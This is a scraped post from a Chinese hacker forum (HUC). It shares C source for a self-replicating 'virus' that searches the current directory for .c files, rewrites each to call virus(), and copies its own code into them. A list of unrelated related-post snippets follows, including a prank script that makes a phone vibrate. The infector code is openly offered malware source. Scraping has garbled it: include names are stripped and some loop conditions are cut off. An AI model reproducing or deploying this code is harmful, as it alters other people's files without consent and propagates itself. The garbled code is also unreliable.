c语言网络病毒代码大全,C语言病毒 - 各类源码 - 中国红客联盟 - Powered by HUC
最近我感觉红盟好像有点冷清 分享一个C语言不算是病毒的病毒
#include
#include
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",&ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i>=50)
{
fclose(in);
goto next;
}
p=fgets(buf,80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#include\n",out);
fputs("#include
\n",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
for(;j
if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
{
if(flag==0)
{
flag=1;
fputs("virus();\n",out);
}
fputs(buf[j],out);
}
}
else if((strstr(buf[j],include[0])==NULL)
&&(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(j
read=fopen(virus,"rt");
do
{
p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
}
p=fgets(buffer,80,read);
}
}while(p!=NULL);
fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(&ffblk);
}
return 0;
}
c语言网络病毒代码大全,C语言病毒 - 各类源码 - 中国红客联盟 - Powered by HUC相关推荐
- 恶搞php代码,恶搞源码。 - 各类源码 - 中国红客联盟 - Powered by HUC
恶搞好友系统 让你朋友的手机爆炸吧 //手机震动1秒 if (navigator.vibrate) { navigator.vibrate(5000);//震动1000毫秒 } else if (na ...
- 易语言html5播放器问题,易语言媒体播放器 - 已处理问题存放区 - 中国红客联盟 - Powered by HUC...
前几天吧,我们副组长教了个媒体播放器器.所以呢今天我就写这个媒体播放器.好了话不多说,请看源码.不好的话,请多多指教. 组件:高级表格.按钮×2.滑块条×2.时钟.媒体播放. 首先添加一个高级表格组件 ...
- c语言新手游戏,游戏c语言代码 - 新手交流 - 中国红客联盟 - Powered by HUC
#include #include #include #include using namespace std; const int N=15; //15*15的棋盘b ...
- c语言自动画图函数,C语言中的画图函数 - C/C++学习入口 - 中国红客联盟 - Powered by HUC...
AngleArc 用一个连接弧画一条线 Arc 画一个圆弧 BeginPath 启动一个路径分支 CancelDC 取消另一个线程里的长时间绘图操作 Chord 画一个弦 CloseEnhMetaFi ...
- c语言地图导航代码大全,C语言实训—电子地图导航系统源代码.docx
C语言实训-电子地图导航系统源代码 /********************************************************************************* ...
- 爱心代码大全---含十余款特效源码【情人节表白代码】
写在前面 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家:人工智能学习网站
- c 语言整人代码大全,C 语言整人代码大全.doc
C 语言整人代码大全 C 语言整人代码大全 WScript.Echo("嘿,谢谢你打开我哦,我等你很久 拉!"&TSName) WScript.Echo("你是可 ...
- C语言——史上最全通讯录讲解(附源码)
C语言--史上最全通讯录讲解(附源码) 一.开始界面的打印 二.对六大板块进行定义操作 三.对联系人进行初始化 四.对通讯录进行初始化 4.1动态版本 4.2静态版本 五.通讯录六大功能的具体实现 5 ...
- C语言打印字符串的所有排列组合(附完整源码)
C语言打印字符串的所有排列组合 字符串的所有排列问题 C语言打印字符串的所有排列组合的完整源码(定义,实现,main函数测试) 字符串的所有排列问题 示例:ABC的排列是ABC,ACB,BCA,BAC ...
- 国际多语言出海商城返佣产品自动匹配订单源码
国际多语言出海商城返佣产品自动匹配订单源码 8国多语言出海拼单商城 此网站是很多巴西客户定制的原型,已投放运营符合当地本地化 多语言商城返利返佣投资理财派单自带余额宝, 采取全新支付端口,后台语音提醒 ...
最新文章
- 运行PHP出现No input file specified错误解决办法
- yum 安装PHP之后如何启动,如何用yum安装php_后端开发
- 【视频课】图像分割重磅上新-人像抠图(Matting)实战
- miui12怎么自定义开机动画_MIUI12正式官宣,5天后发布!网友:发布是发布,12月才能更新?...
- Java性能调优:充分利用垃圾收集器
- 远程抄表系统(AMR/AMI)中无线模块选型指南
- catalina配置参数
- bzoj 1009: [HNOI2008]GT考试
- Android 属性动画简单说明前篇(一)
- 思源黑体官方下载地址
- B样条曲线与贝塞尔曲线学习笔记
- 【公众号】微信进入公众号链接自动获取授权登陆
- www.skymaya.com:8080/index.php,skymaya
- linux系统下find删除目录下除一文件外的所有文件
- 创意PS:-----程序员变身超人
- win7 x64部署和串口调试虚拟驱动toaster
- 爱情在手机中升华-致我最亲爱的你们
- STM32F103C8T6的TIM1的CH1、CH2、CH3三路互补PWM实现四路PWM两两输出
- 为弹性云服务器申请和绑定弹性公网IP
- 我的(此)电脑里面除了磁盘以外,多了一个CD驱动器,删除方法,亲测有效
热门文章
- 谈谈RJ45线序的打法及口诀
- mysql 支持嵌套查询吗_【转】MySql 嵌套查询
- wps开机启动无法禁用问题
- C/C++编程学习 - 第2周 ③ 反向输出一个三位数
- ConfuserEx 脱壳软件 使用教程
- winrar解压器_与WinRAR齐名的经典解压缩软件——WinZip,不仅仅是情怀
- 基于单片机的GPS开发 (four) GPS基础知识
- 原子结构示意图全部_原子结构示意图知识点总结
- 微计算机原理与接口半期考试,最新南京邮电大学微型计算机原理与接口技术期末考试试卷...
- 开源知识管理系统_开源MrDoc,一个适合个人和小型团队的文档、知识、笔记在线管理系统...